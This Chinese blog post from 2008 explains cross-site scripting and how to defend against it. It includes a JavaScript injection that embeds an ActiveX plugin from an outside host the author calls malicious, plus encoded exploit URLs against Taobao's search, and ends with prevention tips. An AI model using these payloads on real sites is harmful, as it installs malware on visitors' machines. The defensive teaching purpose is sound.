There can be no Triumph without Loss,No Victory without Suffering,No Freedom without Sacrifice.
All you have to decide is what to do with the time that is given to you.
Get busy Living, or Get busy Dying?
  首页 | 留言给我 | 订阅 Rss | CLI | 黄白之恋 Posts:158   Hits: 5544894    Comments: 173    
 日历归档
<<  <  2024 - 11  >  >>
SuMoTuWeThFrSa
     12
3456789
10111213141516
17181920212223
24252627282930
 About Me
 Name: ZhangSichu
 Sex: Male
 Age: 32
 Email: ZhangSichu@gmail.com
 MSN: ZhangSichu@hotmail.com
 Home: ZhangSichu.com
 WeiBo: weibo.com/zhangsichu
 个人推荐
 分类归档
  ·C++/C(5)  RSS
  ·软件工程(1)  RSS
  ·杂事/随感(26)  RSS
  ·.Net/Java(30)  RSS
  ·面向对象程序设计(5)  RSS
  ·汇编/破解(0)  RSS
  ·平面设计(3)  RSS
  ·SQL(5)  RSS
  ·COM/COM+(2)  RSS
  ·Web开发(81)  RSS
 My Friends
Back Forward Refresh Home 2024年11月22日 星期五 RSS CLI Mine Sweeper. In Javascript.

  跨站点脚本攻击的防范
字体大小 [ ]

跨站点脚本攻击在Web开发中是个非常敏感的安全问题。
跨站点脚本攻击(XSS)FAQ 这篇文章 http://tech.idv2.com/2006/08/30/xss-faq/ 讲述了跨站点脚本攻击的常见情况。

下面摘引自原文部分章节:

------------------------------------------------------------------------
什么是跨站脚本攻击?
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思?
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”,显然他是在说跨站脚本攻击。
跨站脚本攻击有什么危害?

为了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章就会受到的“自动攻击”。

------------------------------------------------------------------------

在这篇文章中讲述了跨站点攻击窃取他人Cookie,伪装他人登录的细节。
当前的跨站点脚本攻击已经发展到了一个非常妖魔化的地步,不再只局限于窃取他人的Cookie。更加恶毒的跨站点脚本攻击会让访问者中恶意插件,中木马。一般的跨站点脚本攻击会利用漏洞执行document.write。写入一段javascript,让浏览器执行。现在部分站点屏蔽了document.write或者把用户可能注入的脚本放在一个display=none的Div中,让注入攻击失败。当前又发现了用innerHTML的方式注入可见Div,实现跨站点脚本攻击的方式。

跨站点脚本攻击+html注入嵌入恶意插件
下面是利用淘宝网的脚本漏洞,编写的跨站点脚本攻击代码:

注入代码的原型:

<script type="text/javascript">
window.onload = function(){
document.getElementById("QuickLinks").innerHTML =
"<object classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object>";
}</script>


http://iebar.t2t2.com/iebar.cab 这个恶意IE弹框插件是在《一段Script引发的“冤案”》中发现的恶意插件。由于没有找到一个合适的IE插件.cab文件做测试,所以拿这个来做跨站点脚本攻击嵌入恶意插件的测试。

通过淘宝网Search时没有过滤用户输入,存在的脚本漏洞生成的link.

http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4hil3kmf
3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w2zlooqxgozluiv
wgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4n5rguzldoqqgg3dbonzwszb5
e5rwy43jmq5dknsbg5cegnzqfvctcmbsfu2dimbyfvatgncbfvaukmbwizcummbrgu4dmjzainhuirkcifju
kpjhnb2hi4b2f4xwszlcmfzc45bsoqzc4y3pnuxwszlcmfzc4y3bmirvmzlsonuw63r5gewdclbqfqycopr4f5
xwe2tfmn2d4ir3pu6c643dojuxa5b6----------------40--commend-0-all-0.htm?at_topsearch=1


由于链接过长在FF下显示会很难看,这里截断了链接。如果要访问这个链接,需要先把它黏贴到记事本里,去掉其中的回车,然后访问才可以看到注入效果。
访问这个link可能会让您的机器中iebar这个恶意插件

访问link后如下图(使用IE访问可以看到明显的效果):

Click to Open in New Window

红框中的那个东东就是恶意插件了。

下面的注入是一个安全的注入测试,没有危害。

http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4
hil3kmf3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w
2zlooqxgozluivwgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4nfwwoi
dtojrt2j3ior2haorpf55gqylom5zwsy3iouxgg33nf5uw2ylhmvzs6ytmn5twy33hn4xgu4dhe4
qc6prchn6tyl3tmnzgs4duhy----------------40--commend-0-all-0.htm?at_topsearch=1


如下图(注入图片)

Click to Open in New Window

跨站点脚本攻击是一个十分危险的攻击手段,会让你的Web产品蒙受不白之冤。恶意的Link链接是从你的站点里出来的,一般的用户完全会认为是你的站点里带了恶意的插件,使恶意插件深深的隐藏了起来。


防范跨站点脚本攻击的办法:
1.设置白名单,只认为在白名单中的字符才是合法的字符,当用户输入的字符在白名单之外,全部过滤。如使用正则表达式过滤。
2.输出时HtmlEncode。
3.Asp.Net中在可能潜在攻击的页面中开启Validate Request。
4.对所有的html属性添加双引号,闭合属性。
5.IE中使用 HttpOnly Cookie。
6.IE的Frame中加 Frame Security属性。
7.使用XSSDetect做检查, XSSDetect是MS集成在VS2005中的XSS检查工具非常好用。

  Posted @ 1/22/2008 9:24:20 PM | Hits (29701) | Comments (1

  Comment
 #re:跨站点脚本攻击的防范  1/23/2008 9:53:13 AM  Jamebo
TrackBack: :) http://www.cnblogs.com/LoveShrek/archive/2008/01/23/1049603.html
  Post Comment
标题 *
作者 *
密码 记住我
评论 *
    


Stable in Firefox 1.5 2.0Stable in IE6 IE7Stable in MozillaStable in Netscape
ZhangSichu.com V0.1.7507
Powered By ZhangSichu
Copyright © ZhangSichu
Download ZhangSichu.com source code. Download source code